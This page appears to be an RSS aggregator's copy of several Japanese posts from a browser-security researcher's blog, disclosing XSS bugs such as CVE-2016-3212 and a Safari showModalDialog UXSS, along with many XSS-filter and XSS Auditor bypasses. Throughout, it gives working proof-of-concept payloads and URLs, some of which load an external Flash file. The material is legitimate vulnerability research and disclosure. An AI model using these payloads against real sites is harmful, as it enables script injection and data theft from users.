Quantcast
Channel: Masato Kinugawa Security Blog
Viewing all 75 articles
Browse latest View live

CVE-2016-3212: XSSフィルターの^への置換動作を利用したXSS

$
0
0
English version: http://mksben.l0.cm/2016/07/xxn-caret.html
-------------------------------------------------------

以前、CODE BLUEでXSSフィルターを利用したXSSの問題について発表しましたが、同様の問題が6月のパッチでCVE-2016-3212として修正されました。この記事では詳細を紹介します。

以前公開した資料にも書いたように、以前までは、XSSフィルターの遮断規則を攻撃とは無関係の文脈に適用させ、.#に置換させることで、<script>src値や<link>href値を変更することによる攻撃が可能でした。



2015年12月、Microsoftはこの問題に対応するために、この遮断規則のみ、#の代わりに^に置換するよう動作を変更しました。これにより確かに、上で示したような攻撃は防げるようになりました。ところが新たな問題を生んでしまいました。この動作変更から数か月後に、実際のアプリケーションで攻撃できることを確認することになります。
$3133.7という特徴的な金額からもわかるように、これはGoogleの脆弱性報奨金制度を通して得た報酬です。GoogleはほとんどのサービスでレスポンスヘッダにX-XSS-Protection: 1;mode=blockを指定していましたが、一部つけていないページがありました。これに気付いたからには、XSSフィルターを利用しない手はありません!XSSフィルターによってページの一部分を変更させることでXSSが起き得る箇所がないか、じっくりみてみました。その結果、*.google.com のドメインに設置されたJavadocが吐くHTMLの1か所を変更したとき、XSSが起きることを発見しました!

以下にそのページのおおよそのコピーがあります。
どこかの.^に置換されたとき、XSSが生まれるのがわかるでしょうか?

http://vulnerabledoma.in/xxn/xss_javadoc.html


答えは以下の黄色の部分にあるドットです。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN""http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != ""&& targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != ""&& !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a'<= ch && ch <= 'z' ||
                    'A'<= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0'<= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/'&& seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != ""&& targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
スクリプトタグで長々とやっていることは、location.search(URLの?以降)から受けとった文字列が、フレームにロードしても安全なURLかどうかの検証です。
例えば、XSSが可能な以下のようなURLはロードが禁止されます。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

しかしながら、黄色の部分の.^に置き換わるとどうなるでしょう?

実際に動かしてみてみましょう。以下のような文字列を与えれば、無理やりページの中身を遮断規則にマッチさせ、.を置換することができます。


2016年6月のパッチをあてる前のIE/Edgeを使って以下のURLを確認してみてください。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

targetPage.indexOf()の部分の.^に置換され、安全なURLかどうかの検証部分のコードが実行途中でエラーとなることで、URLに与えたjavascript:のURLが実行されたはずです。

既にパッチを適用して再現できない人のために、該当部分を^に置換済みのページを用意しました。同様の動作を確認できます。

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

#への置換との決定的な違いは、#はスクリプト内で演算子ではないため、タグ内の.#に置換されても構文が壊れるだけだったのに対し、^はビットごとのXOR演算子であり、例えば、a.b;a^b;になったとしても構文は正しいので、少なくともそこまでは実行されるという点です。このせいで、targetPage変数に未検証の危険な値が入ったまま例外を出し、別の関数でこの変数を利用した結果、XSSが起きたという訳です。



もちろん、XSSが可能だったのはGoogleに限ったことではなく、同バージョンの吐くJavadocのHTMLをX-XSS-Protectionの指定なしに設置しているサイトすべてでXSSが可能でした。

2016年6月の修正後は、例え明示的にヘッダで指示されていなくても、.への反応時には1; mode=blockの動作が強制されるようになりました。これでひとまずは.を置換することによるXSSは起きなくなりました。

^に置換することで回避しようとしたときは唖然としましたが、ひとまずこれで落ち着きました。

また、直近のパッチ(2016年7月)で、その他、CODE BLUEの発表以前に指摘したすべての問題についても改善が行われたようです。この辺りの問題については記事を改めて近いうちに書きます。

CVE-2016-4758: SafariのshowModalDialogに存在したUXSS

$
0
0
English version is here: http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html


Safari 10で修正された、showModalDialog()に存在したUXSSバグについて書きます。

https://support.apple.com/en-us/HT207157
WebKit
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
UXSS(Universal XSS)は、ブラウザやプラグインなどのバグによって、Same Origin Policyの制限を超えてXSSできるようなバグのことを言います。はっきりした定義はないと思いますが、一言で普通のXSSと区別するのに便利なので、Webセキュリティ関係の人の間でそこそこ使われている言葉です。

このバグは2015年6月頃に発見しました。ちょうど、IEのshowModalDialogを使ったXSSフィルターのバイパスの可能性に気付き、記事にしていた頃です。その記事の中で、最後に以下のように書いていたことを覚えている方もいるかもしれません。

http://masatokinugawa.l0.cm/2015/06/xss6.html
余談ですが、ブログにまとめるために周辺の挙動を改めてみていたら、もっと重大な問題に気がつきました。こっちは修正されたときに改めて書きます。
今から書くことがこの「重大な問題」です。

なお、iOS版のSafariはshowModalDialog関数が存在しないため影響を受けません。

前提条件


ターゲットのページに次のような条件が整うと、そのオリジンでXSSを実行できます。
  1. JavaScriptによるページ遷移を相対URLで行っている。
  2. その遷移操作がページの完全なロード後に行われている。

「JavaScriptによるページ遷移を相対URLで行」うとは、location="/"とか、window.open("/","_blank")などの操作のことです。

この条件を満たすページを以下に用意しました。

<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>
「Top Page」ボタンをクリックしたときに、https://vulnerabledoma.in/index.html へ移動するだけのページです。
どこにでもありそうな条件ですが、これだけでXSSを実行できます。

showModalDialogの利用


ここで、古き良きshowModalDialog関数を使います。
先ほどのページをshowModalDialogのダイアログ中に開く、以下のような別オリジンのページを用意します。

https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
このページから開いたshowModalDialog内の「Top Page」ボタンをクリックするとどうなるでしょうか?
普通ならそんなことは聞くまでもなく、showModalDialogを経由せずに閲覧した時と同じように、 https://vulnerabledoma.in/index.html へ移動するはずです。

しかし、Safariではそうはなりませんでした。http://l0.cm/index.html へ遷移したのです。 https://l0.cm/はshowModalDialog()を実行したオリジンであり、明らかに相対URLの基準になるURLをshowModalDialog()を実行したページと取り違えています。

この時点で、遷移する相対URLに秘密情報が含まれている場合に、無関係のページから取得できることになります。
<script>
function navigation(){
location="/test?token=abb29ad9adda09";//取得できてしまう
}
</script>
<button onclick=navigation()>Click</button>
これだけでも十分脆弱性と言えるまずい動作ですが、さらにXSSへ発展させることはできないか考えてみました。

(なお、基準のURLを間違うのはJavaScriptによる遷移操作のみで、<a>タグによるリンクや、XMLHttpRequestに使うURLなどの遷移操作以外のAPIでは、正しい基準のURLが使われていました。)

XSSへの発展


もし、showModalDialogを実行するページの基準のURLをjavascript:のURLに変更できるなら、XSSが可能かもしれないと思いました。
html5sec.org によると、Safariは<base>タグにjavascript:のURLを指定できるようです。
このトリックを使って、showModalDialogを実行するページで、次のように、<base>タグを細工してダイアログを開いてみました。

https://l0.cm/safari_uxss_showModalDialog/
<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
モーダルダイアログ内の「Top Page」ボタンをクリックすると…目論見通り、alert(document.domain)が実行されました!うまくいけば、次の画像のようになります。



このようにして、基準となるURLを取り違えるバグを使って、ターゲットのページに相対URLへの遷移が記述された部分があるだけで、XSSを実行できていました。

さいごに

報告したのが2015年6月なので、修正までに1年以上かかったことになります。結構致命的な問題だと思うので、もうちょっと早く直してほしいところです。
showModalDialogは、その他のブラウザでは廃止されてきており、これを機にサポートをやめると予想していたんですが、Safari 10でもまだ使えるようですね。いつまでサポートするんでしょうか?

ともかく、まだアップデートしていない方はしましょう!

Anniversary Update後のReferrerを使ったXSS

$
0
0
English version is here: http://mksben.l0.cm/2016/10/xss-via-referrer.html

今日はXSSのテクニックを紹介する簡単なポストです!

Windows 10のAnniversary UpdateからIE/Edgeの細かい動作が変わっているようです。
XSSと関係の深い動作もいくつか変更されています。その中の1つに、リファラ文字列に含まれる一部の文字が常にエンコードされるようになった動作があります。以下に具体的に示します。

次のような、リファラ文字列を書き出すページがあるとします。

https://vulnerabledoma.in/xss_referrer

以前までのIE/Edgeでは、過去のブログでも取り上げたように、次のようにスクリプト文字列を含んだURLからのリファラを送信することで、XSSが可能でした。

https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

ところがAnniversary Updateを適用したEdgeやIEで確認すると、"<>といったXSSのカギとなる文字列が次のようにエンコードされてしまいます。
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
このせいで、単純に書き出すようなケースでXSSができなくなってしまいました。

今のところ、現役のWindows 8.1や7のIE11はリファラ文字列をエンコードしないので、XSSが可能なことの証明には困らないのですが、やっぱりWin10でもリファラでXSSしたいですよね!

今日は、そんな人達に朗報です。
Win10でリファラ経由でXSSする方法を発見したので、ご紹介したいと思います。

説明は一言で終わります。FlashのnavigateToURL()を使ってナビゲーションすればまだRefererヘッダに"<>がエンコードされずに入ってくれます。

以下にPoCを置きました。Anniversary Update適用済みのWin10のIE/Edgeでアクセスしてみてください。

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

ActionScriptのソースコードはこんなかんじです:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
  var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
  navigateToURL(url, "_self");
  }
 }
}
ただ、残念ながら、アクセスしてわかる通り、この方法でうまくいくのは Refererリクエストヘッダを書き出す場合のみで、JavaScriptのdocument.referrerプロパティはFlash経由のナビゲーションの場合はなぜか空になってしまうようです。残念。

ちなみに、Adobe Readerの submitForm()というJavaScript API経由でもRefererリクエストヘッダにタグ文字を含めることができました。
以下にPoCがあります。Adobe ReaderプラグインがインストールされたWin10のIE11で動作を確認済みです。

https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

どうも、プラグイン経由のリクエストが考慮されていないみたいですね。


以上、Anniversary Update以後でも使えるReferrer文字列のXSS手法の紹介でした!
今月はもう1つか2つブログを書くつもりです。

ブラウザのXSS保護機能をバイパスする(9)

$
0
0
脆弱性"&'<<>\ Advent Calendar 2016 の1日目の記事です!

毎度おなじみ、XSSフィルターをバイパスするコーナーです。今回は、Edgeでバイパスします。

Edgeでは、少し前からXMLページでのXSSを遮断するためか、XML namespaceを持ったタグも遮断するようになっています。正規表現をみると、以下のように、遮断されるタグの前にルールが追加されているのがわかります。
{<([^ \t]+?:)?a.*?hr{e}f}

{<([^ \t]+?:)?OPTION[ /+\t].*?va{l}ue[ /+\t]*=}

{<([^ \t]+?:)?TEXTA{R}EA[ /+\t>]}

{<([^ \t]+?:)?BUTTON[ /+\t].*?va{l}ue[ /+\t]*=}

[...]
このルールが追加されてから、皮肉にも、逆に新たなバイパスが生まれてしまいました。こちらです。

https://vulnerabledoma.in/char_test?body=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>

Edgeで開くと、外部のFlashがロードされ、スクリプトが実行されるはずです。

ところで、F12でコンソールを見ると、XSSフィルターはXSSを遮断したというメッセージが出ています。
それでも、Flashをロードしてしまっているのはなぜでしょうか?

おそらく、XSSフィルターはこのタグをscriptタグとみなしてしまっています。script src=の遮断は、scriptのロードを止めるように設計されており、ページの書換えを行いません。しかし実際にはembedタグなので、scriptのロードの停止は空振りに終わり、embed src=が動作してしまうという寸法です。

なお、遮断自体は行ったことになるため、X-XSS-Protection:1;mode=blockのページではバイパスに失敗します。ちなみに、IEのXSSフィルターにはこのルールが入っていないため、このバイパスは使えません。

以上、ご活用ください!
脆弱性"&'<<>\ Advent Calendar 2016 、明日は @kusano_k さんです!

ブラウザのXSS保護機能をバイパスする(10)

$
0
0
脆弱性"&'<<>\ Advent Calendar 2016 の5日目の記事です!

今朝、ブラウザで動作を試しながらECMA-262の仕様を読んでいたところ、IEの奇妙な動作を発見し、それがXSSフィルターのバイパスに使えることがわかりました。
完全なバイパスではありませんが、興味深いものなので共有します。

XSSフィルターは、単純な反射型のXSSに加えて、文字列リテラル中で起こるXSSも防止しようとします。自分の過去の資料で、文字列リテラルの文脈で遮断される文字列の一部を紹介していますので、以下に貼り付けます。



今回注目したいのがこの中のvalueOf=です。この資料をまとめたとき、valueOf=をなぜ遮断する必要があるのかよくわかりませんでした。

確かに、あらかじめ定義された関数であれば、次のような形式で、フィルターが反応する()を使わずに関数呼び出しができます。

https://vulnerabledoma.in/xss_js?q="%3BvalueOf=alert%3B~window//&xss=0
";valueOf=alert;~window//
ただ、このくらい不自由な呼び出しは、以下のような、イベントへの代入が遮断されないことから、許容されていると考えていました。

https://vulnerabledoma.in/xss_js?q="%3Bonload=alert//
";onload=alert//
ちなみに、このvalueOf=は、Eduardoさん・Davidさん発見の以下のベクタとは無関係です。

https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf#page=14
"+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}//
ご覧の通り、お二人のベクタは=を使っていません。自分の資料の中には書いていないのですが、これらは、";{valueOf:";{toString:といった文字列を遮断する別の正規表現が存在しており、そっちで遮断されます。

試行錯誤した結果、valueOf=の場合は、イベントへの代入の場合よりも呼び出しが許される関数が多く、例えば、特定要素へのclickなどのメソッド呼び出しがIE8以下のドキュメントモードのページに対してできるようなので、このあたりの手法を止めたいのかも、という風に勝手に解釈しました。(本当のところを知っている人はぜひ教えてください!)

以下のページにIEでアクセスして、"go"ボタンを押すと、"important action"というボタンがvalueOf=opener.button.clickを経由してクリックされるのが確認できます。

https://l0.cm/xssfilter_bypass/valueOf.html

このとき、valueOf=は遮断して、なぜtoString=は遮断しないのだろうと思ったのですが、toStringに変えて試してみると動きませんでした。普通なら動くべきだと思いますが、IEならそういうおかしなことも起こるだろうと考えて今日まであまり気にしないできました。

さて、ここから、今回のバイパスの話を始めます。
今朝、IEでも、toStringへの代入からclickなどのメソッド呼び出しができることを発見しました。

なんと、IEはtoString=では代入に失敗するのに、var toString=だと成功するようなのです。こうすると、alertが呼ばれます。
var toString=alert;~window

これを利用して、valueOfと同じ要領でclickを呼び出そうとすると、うまくいきました。
以下にIEでアクセスして、goボタンを押すと、 "important action"というボタンがvar toString=opener.button.clickを経由してクリックされるのが確認できます。

https://l0.cm/xssfilter_bypass/toString.html

ほとんど使う場面はないかと思いますが、せっかくtoString=の面白い動作に気付いたので、部分的でもフィルターのバイパスに繋がることを証明してみました。valueOf=を止めている理由の推測が正しければ、こちらも本来なら遮断したい動作ではないかと思います。

以上です!

脆弱性"&'<<>\ Advent Calendar 2016、明日は…、まだ登録されてないっぽいです!誰か書いてください!

ブラウザのXSS保護機能をバイパスする(11)

$
0
0
勝手な使命感に駆られて書く脆弱性"&'<<>\ Advent Calendar 2016 7日目の記事、3回目の登場です。

今日も相変わらずXSSフィルターをバイパスします。
今回は先月(2016年11月)の更新で塞がれたIEのXSSフィルターのバイパスを簡単に紹介します。

=================================
追記:
Windows 8.1だとまだ動くのを確認しました。
どうも、塞がれたのはWindows 10だけみたいです。ご活用ください!
=================================

前回の記事に引き続き、今回も文字列リテラルで起こるバイパスです。
前回は任意のスクリプト実行とまではいかない部分的なバイパスでしたが、今回のは完全かつとてもシンプルに空いていたバイパスです。こちらです。

https://vulnerabledoma.in/xss_js?q="i\u006E+alert(1)// (X-XSS-Protection:0 にして試すにはこちら)
<script>var q=""i\u006E alert(1)//"</script>
inをUnicodeエスケープして、i\u006Eと表記することでバイパスできていました。

モダンなブラウザでは、予約語をUnicodeエスケープすることは禁止されていますが、 IEでは禁止されておらず、inと同じ扱いになります。

この件は、@Jxck_さん主催の次世代Webカンファレンスに参加中、一週間後に迫るCODE BLUEの資料を、最初に作ったものが諸事情で公開できなくなってしまっため、一からいそいそと作っていたとき、突然気付いたものでした。その時のツイートです:

XSSフィルターの正規表現を眺めていたところ、他の文字列リテラル中で起きる禁止文字列はUnicodeエスケープが一緒に記述されているのに対し、inだけUnicodeエスケープが無いことに気付き、試したところすんなり動いたというかんじでした。

ちなみに、MicrosoftはこれまでXSSフィルターのバイパスを脆弱性という扱いで修正していましたが、最近方針の変更があり、今後はセキュリティ修正扱いにしないことにしたとのことで、11月の更新プログラムを適用するとバイパスは塞がれるものの、アドバイザリの中ではこの変更については説明されていません。なお、謝辞には僕の名前がありますが、これら(CVE-2016-7227 と CVE-2016-7239)はバイパスとは別のバグです。こちらもまた機会を改めて紹介したいと思います。

バイパスは脆弱性ではないというのはその通りだと思いますし、もともとそう考えていたので、いちいち許可をとらずにブログに書いていましたが、今後、報告中のものも含め公開してもよいという回答を正式に頂いたので、また遠慮なくブログに書かせてもらいます。

以上、脆弱性"&'<<>\ Advent Calendar 2016 7日目の記事でした。
明日も書く人が決まっていないみたいなので、どなたか書いてください!

ブラウザのXSS保護機能をバイパスする(12)

$
0
0
English version is here: http://mksben.l0.cm/2016/12/xssauditor-bypass-using-paramtag.html

もう終わっていますが、せっかくなのでこの記事は脆弱性"&'<<>\ Advent Calendar 2016の21日目の記事ということにします!俺たちのクリスマスはこれからだ!

怒涛のブラウザのXSS保護機能のバイパスネタです。

昨日、とあるバグの原因を特定するために、Chromiumのソースコードを眺めていたのですが、その際、偶然XSS Auditorのバイパスを発見しました。以前紹介したベクターがChromeの先行バージョンで塞がれはじめ、そろそろ新しい方法を発見しなければと思っていたところだったのでちょうどよかったです。

今回はobject要素とparam要素を使ってバイパスします。Chrome Canary 57で動作することを確認しています。

ChromeのXSS AuditorはFlashをロードできてしまうような、危険なparam要素をブロックしようとします。

HTMLParamElement.cpp の中にURLをロードできるparam要素かどうかのチェックがあり、これがXSSAuditorのコードから呼ばれます。以下のように、name属性の値が data/movie/src だった場合をチェックし、マッチした場合はフィルターが遮断するようになっています。
bool HTMLParamElement::isURLParameter(const String& name) {
  return equalIgnoringCase(name, "data") || equalIgnoringCase(name, "movie") ||
         equalIgnoringCase(name, "src");
}
Flashをロードするとき、embed src=object data=を使うのが一般的ですが、Chromeの場合はparam要素からもロードすることができるようです。
実際に動作することをみてみましょう。以下のURLからスクリプトの実行を確認できます。
(動作を確認することが目的のため、次の2つのURLはXSS Auditorをオフに制御しています。)

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=movie%20value=https://l0.cm/xss.swf%3E&xss=0
<object allowscriptaccess=always>
<param name=movie value=https://l0.cm/xss.swf>

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=src%20value=https://l0.cm/xss.swf%3E&xss=0
<object allowscriptaccess=always>
<param name=src value=https://l0.cm/xss.swf>
ただし、XSS Auditorにブロックされるname=dataでは、少なくともFlashは動作しませんでした。この部分は、あまり考えずに追加されているか、あるいは以前XSSできたプラグインがあったと推測しますが、詳細は不明です。

さて、ここまででも既にマニアックな動作の紹介でしたが、Chromeではさらに別の文字列でもFlashのロードが可能であり、さらにそれらはXSS Auditorにさえ見落とされていることがわかりました。

こちらがその方法です。 name属性の値をurlという文字列に変えただけです。

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
または、codeとしても動くようです。

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
これらの値は、HTMLObjectElement.cppを見て発見しました。
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

srcmovieなどと一緒に、codeurlも書かれていたので、もしかしたらロードできるかもと思って試したらすんなり動いたというかんじでした。この動作、ソースコードのコメントを見ると、互換性のために残してあるといったことが書いてありますが、この方法ではIE/EdgeやFirefoxではFlashはロードされませんでした。Chromeが互換性という言葉を口にして自分だけ罠にハマっているパターンは珍しいですね。

シンプルな反射型XSSさえあれば利用可能かつページを開いてからのユーザ操作も不要で、かなり有能なベクターだと思います。

ちなみに、バイパスは以下で報告済みです。

便宜上、セキュリティバグとして登録したので、一時的に非公開になっていますが、ChromeのXSS Auditorのバイパスはいつもノーマルバグとして扱われるので、そのうち見れるようになるはずです。

以上です!

Browser's XSS Filter Bypass Cheat Sheet

$
0
0
ブラウザのXSSフィルターのバイパスをまとめたページを作りました。

こちらです:
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet

現在のところ、Chrome/Safariのバイパスのみ掲載しています。そのうち、IE/Edgeも掲載するつもりです。

このページを作った理由は、Shibuya.XSS techtalk #9 というセキュリティの勉強会の時に、Firefoxのバグを発見しまくっていることで有名な西村さんが、「XSSフィルター、バイパスが発見されても、気付いたらいつの間にか使えなくなっていたりする。使えるものをまとめたXSSフィルターのバイパスのチートシートみたいなのがあったら便利」というようなことを言っていて、じゃあ僕が4月中に作りますと宣言してしまったからです。今は5月ということは置いておいて、とにかく作りました。

脆弱性検査にあたる人などは、XSSをみつけても、お客さんに「XSSフィルターが止めているから大丈夫じゃないか」などと主張されることがあるかもしれません。また、バイパスできるかどうかがわからないと、実際にどこまで悪用できるかの評価ができない場合もあるかと思います。バイパスまでできているPoCを示せば、説得力を持って攻撃可能なことを証明することができるでしょう。また、ブラウザのバグを発見したいというタイプの人は、これらを参考にしながら、新たなバイパスの発見に挑戦してもよいでしょう。バイパスを発見する目的以外でも、なぜバイパスが起きたかという部分には、その他の場面での攻撃の発想を養ううえでもよい資料となるのではないかと思います。

もともと自分用のバイパスのメモがあったので、これらをまとめるのは、そんなに難しいことではありませんでした。しかしながら、まとめる過程で、新たな可能性に気付いたりして、その検証に少し時間がかかってしまいました。

中でも同一ドメインのリソースを使ってバイパスする手法は、おそらくパブリックでこの攻撃の可能性についてほとんど考察されたことがない、目新しいものではないかと思います。僕も今回改めて考えてみて、いろいろなフレームワーク・ライブラリで攻撃が可能になるかもしれないということに気付きました。

簡単に手法を説明すると、Chromeは、クエリ文字列を持たない同一ドメインのリソースのロードをブロックしません。これは誤検知とのバランスを考えて作られた仕様だと思います。この動作を利用して、同一ドメインのリソースを攻撃用のガジェットとして利用することで、フィルターをバイパスして、任意のスクリプトを実行できてしまうというものです。詳しくはそれぞれの手法をみてみてください。

それでは、どうぞご利用ください。

ブラウザのXSS保護機能をバイパスする(14)

$
0
0
前回、XSSAuditorのバイパスのチートシートを作ったという記事を書きましたが、さきほど、IE/EdgeのXSSフィルターのバイパスも公開しました。

https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#ieedge%E3%81%AExss%E3%83%95%E3%82%A3%E3%83%AB%E3%82%BF%E3%83%BC

この公開に合わせて、今日は強力なIE/EdgeのXSSフィルターのバイパスを1つ紹介しようと思います。

このバイパスはPOST経由以外の全てのReflected XSSで使えます。1年以上前に以下のようなツイートをしましたが、今から紹介するのがこのとき発見したベクターです。
ツイートした時点ではPOSTで使えないことに気付いていなかったので、all contextsは言い過ぎでしたが、いずれにしても強力なベクターだと思います。

まずはPoCからみてみましょう!普通にテキスト部でXSSする場合と、属性だけが記述できるケースのXSSで例を示します。IE/Edgeでアクセスすると、スクリプトが動作することを確認できるはずです。

https://l0.cm/bypass/ie_hz_text.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/text?q=<script/警/-alert(1)<\/script/警"
</script>

属性値のみでXSSする場合はこちら:
https://l0.cm/bypass/ie_hz_attribute.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/attribute?q=\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4/-alert(1)//"
</script>
なぜ動作したかは、IEがどんなクエリ文字列を送信しているかに注目するとみえてきます。

IEはナビゲーション時、ナビゲーション前のページに設定された文字コードでクエリ文字列をエンコードしてリクエストを送信します。
例えば、次のようなページから、「あ」という文字列を送信しようとするとき、「あ」はHZ-GB-2312というエンコーディングでエンコードされて送信されます。

https://l0.cm/bypass/ie_hz_example.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/text?q=あa";
</script>
Fiddlerを見ても、以下のように、UTF-8の「あ」(0xE38182) でなく、HZ-GB-2312の「あ」である~{$"~}が送信されていることがわかります。


この動作を踏まえて、バイパスが起きたケースをもう一度見てみましょう。テキスト部のバイパスでは、<script/警/-alert(1)</script/警という文字列をリダイレクト先に与えています。「警」の字はHZ-GB-2312において、~{>/~}で表されます。したがって、ここでは<script/~{>/~}/-alert(1)</script/~{>/という文字列がクエリを介して送信されており、実際にはスクリプトタグを作成するようなバイト列が送信されていたということがわかります。

XSSフィルターは普通なら<sc{r}ipt.*?>という遮断条件に従ってスクリプトタグに反応しますが、ここではなぜか反応しません。これはおそらく、XSSフィルターが、実際に送信されるリクエストではなく、<script/警という文字列を遮断条件と誤って照らし合わせているためではないかと思います。

属性の場合も同様に、\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4に反応文字列である"onmouseover=を隠しています。このように、実際に送信されるリクエストと、エンコードされた文字列の不一致を起こすことで、XSSフィルターをバイパスすることができます!

その他のエンコーディングでも、同じように不一致を起こせばバイパスが可能です。

ISO-2022-JPを使った例がこちら:
https://l0.cm/bypass/ie_iso2022jp_text.html
https://l0.cm/bypass/ie_iso2022jp_attribute.html

x-chinese-cnsという文字コードを使った例がこちら:
https://l0.cm/bypass/ie_x-chinese-cns_text.html
https://l0.cm/bypass/ie_x-chinese-cns_attribute.html

他にもいろいろな文字コードのバリエーションが考えられるんではないかと思います。

このバイパスの発見当時は、バイパスはただのバグだとしても、特別な条件もなしに様々なコンテキストで使えるこれは修正を待ってから公開しようと考えていましたが、報告後、1年以上経っても変更が加えられなかったあたり、Microsoftはバイパスをそれほど問題にはしていないみたいです。いずれにしても、XSSフィルターはXSSに対する完全な防御ではなく、サイト側の根本的なXSS対策は必須であるということは常に変わりません。実際のバイパスを通して、その思いを強めてもらえれば。それでは!

ブラウザのXSS保護機能をバイパスする(13)

$
0
0
前回の記事、間違えて14回目と書きましたが、13回目でした。
飛ばしてしまった13回目を今からここに書いて埋めることにします!

今日はIEの知られざるHTMLタグについて紹介しようと思います。このタグを利用すると、限られた条件でフィルターのバイパスにも利用できます。

今回利用するのは、<?PXML>というタグです。
皆さん、<?PXML>タグをご存知ですか?僕はよく知りません!
このタグの意味は全く分からなくて、いくら調べても全く出てこないほどで、誰か一体何なのか知っている人がいたら教えてほしいくらいですが、とりあえずここに自分が知っている限りのことを書いていきます。

まず、自分はこのタグを印刷プレビューの脆弱性を探している時に発見しました。様々なページを印刷プレビューして、攻撃可能なプレビュー結果が出ないかみていたときのことです。XMLのパースエラーを表示するページを印刷プレビューしたときに生成されるHTMLに奇妙なタグが含まれていることに気が付きました。
XMLのパースエラーのページは、古いドキュメントモードのページから、不正なXMLのページをフレームに埋め込むと現れます。こんなかんじです:

https://l0.cm/bypass/ie_pxml_printpreview.html


エラー情報を表示する程度のページなら、もっと普通の条件で出てきてもいい気がしますが、とりあえずこれで確実に出ます。
